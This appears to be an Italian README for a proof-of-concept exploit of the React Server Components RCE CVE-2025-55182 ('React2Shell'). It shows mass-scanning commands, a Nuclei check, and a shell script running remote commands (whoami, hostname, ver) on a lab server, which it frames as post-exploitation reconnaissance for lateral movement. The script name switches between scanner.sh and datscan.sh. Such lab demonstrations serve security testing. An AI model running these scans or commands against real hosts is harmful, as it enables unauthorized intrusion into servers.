
Exploit proof-of-concept per la vulnerabilità RCE CVE-2025-55182 (React2Shell) in React Server Components. Include uno scanner per host vulnerabili e uno script shell per l'esecuzione remota di comandi. Solo per test di sicurezza autorizzati e istruzione.
CVE-2025-55182, nota anche come React2Shell, è una grave vulnerabilità di Remote Code Execution (RCE) che colpisce i React Server Components (RSC). Utilizza il protocollo Flight per comunicare tra client e server. Quando il client richiede dati, il server riceve un payload, lo analizza, e ciò può permettere a un aggressore di iniettare strutture dannose o porzioni di codice arbitrario che React accetta come validi.
| Elemento | Contenuto |
|---|---|
| Livello | Critical (CVSS 10.0) |
| Tipo | Unsafe Deserialization (CWE-502) |
| Metodo di attacco | Remoto, nessuna autenticazione richiesta |
| Versioni interessate: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 e Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
Il server elabora il payload proveniente dal client senza una validazione completa, permettendo all'attaccante di:
L'attività di sfruttamento relativa a questa vulnerabilità è stata rilevata a partire dal 5 dicembre 2025. La maggior parte degli attacchi riusciti proviene da valutazioni di gruppi di attacco. Sono interessati sia gli ambienti Windows che Linux.
Installazione
pip install -r requirements.txt
Scansiona un server vulnerabile:
python3 scanner.py -u https://example.com
Inserisci il percorso da scansionare (qui ho inserito il mio server vulnerabile http://192.168.10.1:3000)
Risultato ottenuto:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Scansiona lista di host:
python3 scanner.py -l hosts.txt
Scansione multi-thread e salvataggio risultati:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Scansione con intestazioni personalizzate:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Scansione di target Windows:
python3 scanner.py -u https://example.com --windows
Usa metodo di rilevamento sicuro del canale laterale:
python3 scanner.py -u https://example.com --safe-check
Come puoi vedere, abbiamo riscontrato una vulnerabilità di sicurezza, il che significa che il server che forniamo è suscettibile agli attacchi da parte di un aggressore.
Ora useremo Nuclei per verificare quale vulnerabilità affligge il server sopra e se ha un PoC. Questa funzione funziona inviando richieste personalizzate, riducendo i falsi positivi e supportando la scansione parallela.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Risultato ottenuto
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
Il sistema ha rilevato che questo server è vulnerabile e può essere sfruttato tramite la vulnerabilità CVE-2025-55182. Da ciò puoi vedere che è una vulnerabilità piuttosto pericolosa e importante, con molti PoC disponibili sulle piattaforme social. ☺☺☺
Puoi vedere che queste informazioni sono sufficienti per confermare l'esistenza della vulnerabilità nell'applicazione precedente. Per dimostrare che questa applicazione può essere sfruttata per eseguire un comando o codice in remoto, inizierò il PoC.
chmod +x scanner.sh
# Verifica se il target è vulnerabile
./datscan.sh -d example.com
# Esegue un comando per verificare l'utente corrente
./datscan.sh -d example.com -c "whoami"
# Con URL completo
./datscan.sh -d example.com -c "uname -a"
Significato:
Restituisce l'utente attuale che esegue il processo del server
Aiuta a determinare:
=> Questo è il comando più semplice per confermare un RCE riuscito
-d, --domain - dominio/URL-c, --command - Comando da eseguire (es: whoami, hostname,...)# Verifica il nome host
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Determina la versione del sistema operativo
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Verifica che l'esecuzione dei comandi funzioni stabilmente
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
| Significato dei comandi eseguiti | Contenuto |
|---|---|
| Restituisce il nome host | Utilizzato per: - identificare il sistema interessato - servire per movimento laterale (in ambiente interno) |
| Determina la versione del sistema operativo | Importante per: - valutare la possibilità di ulteriore sfruttamento (privilege escalation) - scegliere l'exploit appropriato |
| Verifica l'esecuzione dei comandi | Utilizzato per eseguire il debug del payload/scanner |
| Restituisce il nome utente corrente | In questo caso: - l'utente è ADMIN → potrebbe avere privilegi elevati - Più importante di whoami in alcuni casi Windows |
| Restituisce il nome host | Restituisce il nome host tramite variabile d'ambiente |
Questo è il passo di ricognizione iniziale dopo uno sfruttamento riuscito.
Ci aiuta a confermare: RCE funzionante, identificare il sistema operativo,...
Poiché questo esperimento è dimostrato in un ambiente lab personale per evitare conseguenze legali, l'uso di intestazioni HTTP per esfiltrare dati, output grandi o caratteri speciali può causare:
ERR_INVALID_CHAR
I comandi brevi (ad es. whoami, ver) sono più affidabili per illustrare l'ambiente di test di cui sopra.